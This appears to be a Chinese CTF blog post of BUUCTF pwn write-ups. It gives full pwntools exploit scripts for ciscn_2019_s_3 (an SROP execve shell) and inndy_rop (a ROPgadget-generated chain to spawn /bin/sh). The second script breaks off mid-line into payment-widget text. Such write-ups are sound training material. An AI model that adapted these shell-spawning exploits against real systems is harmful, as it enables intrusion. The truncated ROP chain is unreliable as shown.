BUUCTF pwn水题大赏(五)

本文详细介绍了多个CTF比赛中Pwn类型的题目,包括ciscn_2019_s_3、inndy_rop、护网杯_2018_gettingstart等,涉及栈溢出、ROP利用、内存修改等技术。通过提供exploit代码,揭示了如何利用漏洞获取权限,如利用浮点数内存存储特性、栈迁移和shellcode执行等。
摘要由CSDN通过智能技术生成

ciscn_2019_s_3

srop ,要注意 rsp 指向的位置。
exp:

from pwn import*
context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn',29369)
#p = process('./ciscn_s_3')
elf = ELF('./ciscn_s_3')

syscall_ret = 0x400517
start_addr = 0x04004ED
sigret = 0x4004DA
payload1 = '/bin/sh\x00'*2+p64(start_addr)
p.send(payload1)
sleep(0.1)
p.recv(0x20)
binsh = u64(p.recv(8))-0x118
print hex(binsh)
###gdb.attach(p)

exe = SigreturnFrame()
exe.rax = constants.SYS_execve
exe.rdi = binsh
exe.rsi = 0
exe.rdx = 0
exe.rip = syscall_ret

payload2='/bin/sh\x00'*2+p64(sigret)+p64(syscall_ret)+str(exe)
p.sendline(payload2)

p.interactive()

inndy_rop

很奇怪的一道题,简单的栈溢出,但是 rop 不需要自己写。
ROPgadget 有一个功能,可以直接构造 rop 链。

ROPgadget --binary rop --ropchain

exp:

from pwn import*
from struct import pack
context.log_level = 'DEBUG'

i=remote('node3.buuoj.cn',29638)
#i=process('./rop')
elf=ELF('./rop')

p = 'a'*16
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack(
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值